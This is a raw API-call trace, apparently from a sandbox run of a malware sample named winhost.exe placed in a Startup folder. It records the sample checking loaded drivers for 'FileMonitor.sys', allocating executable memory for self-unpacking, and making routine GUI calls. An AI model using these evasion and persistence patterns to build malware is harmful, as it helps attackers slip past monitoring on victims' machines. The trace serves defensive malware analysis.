1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0262.264] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0262.265] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0262.266] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0262.267] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="E1G60") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0262.268] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0262.269] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="bowse") returned 1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="mpsdr") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0262.270] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0262.380] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0262.380] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0262.382] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0262.384] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x280000 [0262.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x40) returned 0x390000 [0262.385] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0262.385] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.386] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.386] VirtualAlloc (lpAddress=0x0, dwSize=0x1071, flAllocationType=0x1000, flProtect=0x40) returned 0x3c0000 [0262.387] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.387] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.387] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.388] VirtualAlloc (lpAddress=0x0, dwSize=0x18ad, flAllocationType=0x1000, flProtect=0x40) returned 0x3d0000 [0262.389] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.389] VirtualAlloc (lpAddress=0x0, dwSize=0x7ae, flAllocationType=0x1000, flProtect=0x40) returned 0x3e0000 [0262.390] VirtualAlloc (lpAddress=0x0, dwSize=0xd09, flAllocationType=0x1000, flProtect=0x40) returned 0x3f0000 [0262.390] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.390] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.390] VirtualAlloc (lpAddress=0x0, dwSize=0x217, flAllocationType=0x1000, flProtect=0x40) returned 0x900000 [0262.391] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.391] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.392] VirtualAlloc (lpAddress=0x0, dwSize=0xfa, flAllocationType=0x1000, flProtect=0x40) returned 0x910000 [0262.392] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.392] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.393] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.393] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.394] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.394] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.395] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.395] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.396] VirtualAlloc (lpAddress=0x0, dwSize=0x3eb, flAllocationType=0x1000, flProtect=0x40) returned 0x920000 [0262.397] VirtualAlloc (lpAddress=0x0, dwSize=0x52e, flAllocationType=0x1000, flProtect=0x40) returned 0x930000 [0262.398] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.398] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.398] VirtualAlloc (lpAddress=0x0, dwSize=0x26f, flAllocationType=0x1000, flProtect=0x40) returned 0x940000 [0262.399] VirtualAlloc (lpAddress=0x0, dwSize=0xa78, flAllocationType=0x1000, flProtect=0x40) returned 0x950000 [0262.399] VirtualAlloc (lpAddress=0x0, dwSize=0x5e6, flAllocationType=0x1000, flProtect=0x40) returned 0x960000 [0262.400] VirtualAlloc (lpAddress=0x0, dwSize=0xa2, flAllocationType=0x1000, flProtect=0x40) returned 0x970000 [0262.401] VirtualAlloc (lpAddress=0x0, dwSize=0x9b, flAllocationType=0x1000, flProtect=0x40) returned 0x980000 [0262.489] VirtualAlloc (lpAddress=0x0, dwSize=0x1109, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0262.490] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.491] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0262.491] VirtualAlloc (lpAddress=0x0, dwSize=0xdd1, flAllocationType=0x1000, flProtect=0x40) returned 0x9a0000 [0262.491] VirtualAlloc (lpAddress=0x0, dwSize=0x53c, flAllocationType=0x1000, flProtect=0x40) returned 0x9b0000 [0262.492] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.492] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.492] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.492] VirtualAlloc (lpAddress=0x0, dwSize=0xb2c, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.494] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.494] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.495] VirtualAlloc (lpAddress=0x0, dwSize=0xcbd, flAllocationType=0x1000, flProtect=0x40) returned 0x9c0000 [0262.496] VirtualAlloc (lpAddress=0x0, dwSize=0xd41, flAllocationType=0x1000, flProtect=0x40) returned 0x9d0000 [0262.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2d6, flAllocationType=0x1000, flProtect=0x40) returned 0x9e0000 [0262.497] VirtualAlloc (lpAddress=0x0, dwSize=0x1c7, flAllocationType=0x1000, flProtect=0x40) returned 0x24e0000 [0262.498] VirtualAlloc (lpAddress=0x0, dwSize=0x38b, flAllocationType=0x1000, flProtect=0x40) returned 0x24f0000 [0262.499] VirtualAlloc (lpAddress=0x0, dwSize=0x171, flAllocationType=0x1000, flProtect=0x40) returned 0x2500000 [0262.500] VirtualAlloc (lpAddress=0x0, dwSize=0x445, flAllocationType=0x1000, flProtect=0x40) returned 0x2510000 [0262.501] VirtualAlloc (lpAddress=0x0, dwSize=0x1bc, flAllocationType=0x1000, flProtect=0x40) returned 0x2520000 [0262.502] VirtualAlloc (lpAddress=0x0, dwSize=0x5ee, flAllocationType=0x1000, flProtect=0x40) returned 0x2530000 [0262.503] VirtualAlloc (lpAddress=0x0, dwSize=0x7f8, flAllocationType=0x1000, flProtect=0x40) returned 0x2540000 [0262.504] VirtualAlloc (lpAddress=0x0, dwSize=0xc06, flAllocationType=0x1000, flProtect=0x40) returned 0x2550000 [0262.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2ab, flAllocationType=0x1000, flProtect=0x40) returned 0x2560000 [0262.505] VirtualAlloc (lpAddress=0x0, dwSize=0x71d, flAllocationType=0x1000, flProtect=0x40) returned 0x2570000 [0262.506] VirtualAlloc (lpAddress=0x0, dwSize=0x1f5, flAllocationType=0x1000, flProtect=0x40) returned 0x2580000 [0262.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2c7, flAllocationType=0x1000, flProtect=0x40) returned 0x2590000 [0262.508] VirtualAlloc (lpAddress=0x0, dwSize=0x3a1, flAllocationType=0x1000, flProtect=0x40) returned 0x25a0000 [0262.509] VirtualAlloc (lpAddress=0x0, dwSize=0x52d, flAllocationType=0x1000, flProtect=0x40) returned 0x25b0000 [0262.510] VirtualAlloc (lpAddress=0x0, dwSize=0x6f3, flAllocationType=0x1000, flProtect=0x40) returned 0x25c0000 [0262.511] VirtualAlloc (lpAddress=0x0, dwSize=0x3a1, flAllocationType=0x1000, flProtect=0x40) returned 0x25d0000 [0262.512] VirtualAlloc (lpAddress=0x0, dwSize=0x49e, flAllocationType=0x1000, flProtect=0x40) returned 0x25e0000 [0262.512] VirtualAlloc (lpAddress=0x0, dwSize=0x31f, flAllocationType=0x1000, flProtect=0x40) returned 0x25f0000 [0262.514] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0, flAllocationType=0x1000, flProtect=0x40) returned 0x2600000 [0262.515] VirtualAlloc (lpAddress=0x0, dwSize=0x8b6, flAllocationType=0x1000, flProtect=0x40) returned 0x2610000 [0262.516] VirtualAlloc (lpAddress=0x0, dwSize=0x2f8, flAllocationType=0x1000, flProtect=0x40) returned 0x2620000 [0262.517] VirtualAlloc (lpAddress=0x0, dwSize=0x872, flAllocationType=0x1000, flProtect=0x40) returned 0x2630000 [0262.518] VirtualAlloc (lpAddress=0x0, dwSize=0xc8, flAllocationType=0x1000, flProtect=0x40) returned 0x2640000 [0262.519] VirtualAlloc (lpAddress=0x0, dwSize=0x86a, flAllocationType=0x1000, flProtect=0x40) returned 0x2650000 [0262.520] VirtualAlloc (lpAddress=0x0, dwSize=0x229, flAllocationType=0x1000, flProtect=0x40) returned 0x2660000 [0262.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2cf, flAllocationType=0x1000, flProtect=0x40) returned 0x2670000 [0262.522] VirtualAlloc (lpAddress=0x0, dwSize=0x660, flAllocationType=0x1000, flProtect=0x40) returned 0x2680000 [0262.598] VirtualAlloc (lpAddress=0x0, dwSize=0x7b9, flAllocationType=0x1000, flProtect=0x40) returned 0x2690000 [0262.600] VirtualAlloc (lpAddress=0x0, dwSize=0x1a0a, flAllocationType=0x1000, flProtect=0x40) returned 0x26a0000 [0262.601] VirtualAlloc (lpAddress=0x0, dwSize=0x24c, flAllocationType=0x1000, flProtect=0x40) returned 0x26b0000 [0262.603] VirtualAlloc (lpAddress=0x0, dwSize=0x433, flAllocationType=0x1000, flProtect=0x40) returned 0x26c0000 [0262.605] VirtualAlloc (lpAddress=0x0, dwSize=0xa54, flAllocationType=0x1000, flProtect=0x40) returned 0x26d0000 [0262.605] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.605] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.606] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.606] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.607] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.607] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.607] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.608] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0262.608] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.608] VirtualFree (lpAddress=0x350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.609] VirtualFree (lpAddress=0x250000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.609] VirtualFree (lpAddress=0x390000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.609] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.609] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.610] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x71e0a4 | out: Wow64Process=0x71e0a4) returned 1 [0262.613] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0262.613] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0262.614] GetProcAddress (hModule=0x77350000, lpProcName="RtlAllocateHeap") returned 0x7737e026 [0262.614] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0262.614] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495df3 | out: lpflOldProtect=0x495df3*=0x4) returned 1 [0262.615] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " [0262.615] GetVersion () returned 0x1db10106 [0262.615] GetVersion () returned 0x1db10106 [0262.615] GetCurrentThreadId () returned 0x564 [0262.615] GetThreadLocale () returned 0x409 [0262.616] LoadStringBaseExW () returned 0x1c [0262.616] WCSToMBEx () returned 0x1c [0262.616] LoadStringBaseExW () returned 0x17 [0262.616] WCSToMBEx () returned 0x17 [0262.616] LoadStringBaseExW () returned 0x15 [0262.616] WCSToMBEx () returned 0x15 [0262.616] LoadStringBaseExW () returned 0x10 [0262.616] WCSToMBEx () returned 0x10 [0262.616] LoadStringBaseExW () returned 0x29 [0262.616] WCSToMBEx () returned 0x29 [0262.617] LoadStringBaseExW () returned 0x10 [0262.617] WCSToMBEx () returned 0x10 [0262.617] LoadStringBaseExW () returned 0x24 [0262.617] WCSToMBEx () returned 0x24 [0262.617] LoadStringBaseExW () returned 0x22 [0262.617] WCSToMBEx () returned 0x22 [0262.617] LoadStringBaseExW () returned 0x19 [0262.617] WCSToMBEx () returned 0x19 [0262.617] LoadStringBaseExW () returned 0x1f [0262.617] WCSToMBEx () returned 0x1f [0262.617] LoadStringBaseExW () returned 0xe [0262.617] WCSToMBEx () returned 0xe [0262.617] LoadStringBaseExW () returned 0xd [0262.617] WCSToMBEx () returned 0xd [0262.617] LoadStringBaseExW () returned 0x16 [0262.617] WCSToMBEx () returned 0x16 [0262.617] LoadStringBaseExW () returned 0x10 [0262.617] WCSToMBEx () returned 0x10 [0262.617] LoadStringBaseExW () returned 0x16 [0262.617] WCSToMBEx () returned 0x16 [0262.617] LoadStringBaseExW () returned 0x18 [0262.617] WCSToMBEx () returned 0x18 [0262.617] LoadStringBaseExW () returned 0x17 [0262.617] WCSToMBEx () returned 0x17 [0262.617] LoadStringBaseExW () returned 0x1f [0262.617] WCSToMBEx () returned 0x1f [0262.617] LoadStringBaseExW () returned 0x20 [0262.617] WCSToMBEx () returned 0x20 [0262.617] LoadStringBaseExW () returned 0x10 [0262.617] WCSToMBEx () returned 0x10 [0262.617] LoadStringBaseExW () returned 0x11 [0262.617] WCSToMBEx () returned 0x11 [0262.617] LoadStringBaseExW () returned 0x10 [0262.617] WCSToMBEx () returned 0x10 [0262.617] LoadStringBaseExW () returned 0x15 [0262.617] WCSToMBEx () returned 0x15 [0262.617] LoadStringBaseExW () returned 0x9 [0262.617] WCSToMBEx () returned 0x9 [0262.617] LoadStringBaseExW () returned 0x17 [0262.617] WCSToMBEx () returned 0x17 [0262.617] LoadStringBaseExW () returned 0x12 [0262.617] WCSToMBEx () returned 0x12 [0262.617] LoadStringBaseExW () returned 0x13 [0262.617] WCSToMBEx () returned 0x13 [0262.617] LoadStringBaseExW () returned 0x10 [0262.617] WCSToMBEx () returned 0x10 [0262.617] LoadStringBaseExW () returned 0xe [0262.617] WCSToMBEx () returned 0xe [0262.617] LoadStringBaseExW () returned 0xd [0262.617] WCSToMBEx () returned 0xd [0262.617] LoadStringBaseExW () returned 0x19 [0262.617] WCSToMBEx () returned 0x19 [0262.618] GetThreadLocale () returned 0x409 [0262.618] GetThreadLocale () returned 0x409 [0262.618] GetThreadLocale () returned 0x409 [0262.618] GetThreadLocale () returned 0x409 [0262.618] GetThreadLocale () returned 0x409 [0262.619] NtUserGetDC () returned 0x1401007f [0262.619] GetDeviceCaps (hdc=0x1401007f, index=90) returned 96 [0262.619] GdiReleaseDC () returned 0x1 [0262.619] NtUserCallOneParam (Param=0x1401007f, Routine=0x3b) returned 0x1 [0262.619] NtUserGetDC () returned 0x1401007f [0262.619] GetDeviceCaps (hdc=0x1401007f, index=104) returned 0 [0262.619] GdiReleaseDC () returned 0x1 [0262.619] NtUserCallOneParam (Param=0x1401007f, Routine=0x3b) returned 0x1 [0262.619] CreatePalette (plpal=0x18f500) returned 0xb080221 [0262.620] GetStockObject (i=7) returned 0x1b00017 [0262.620] GetStockObject (i=5) returned 0x1900015 [0262.620] GetStockObject (i=13) returned 0x18a002e [0262.620] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0262.620] LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.620] LoadStringBaseExW () returned 0x5 [0262.620] WCSToMBEx () returned 0x5 [0262.620] LoadStringBaseExW () returned 0x6 [0262.620] WCSToMBEx () returned 0x6 [0262.620] LoadStringBaseExW () returned 0x3 [0262.620] WCSToMBEx () returned 0x3 [0262.620] LoadStringBaseExW () returned 0x3 [0262.620] WCSToMBEx () returned 0x3 [0262.620] LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.620] LoadStringBaseExW () returned 0x5 [0262.620] WCSToMBEx () returned 0x5 [0262.620] LoadStringBaseExW () returned 0x2 [0262.620] WCSToMBEx () returned 0x2 [0262.620] 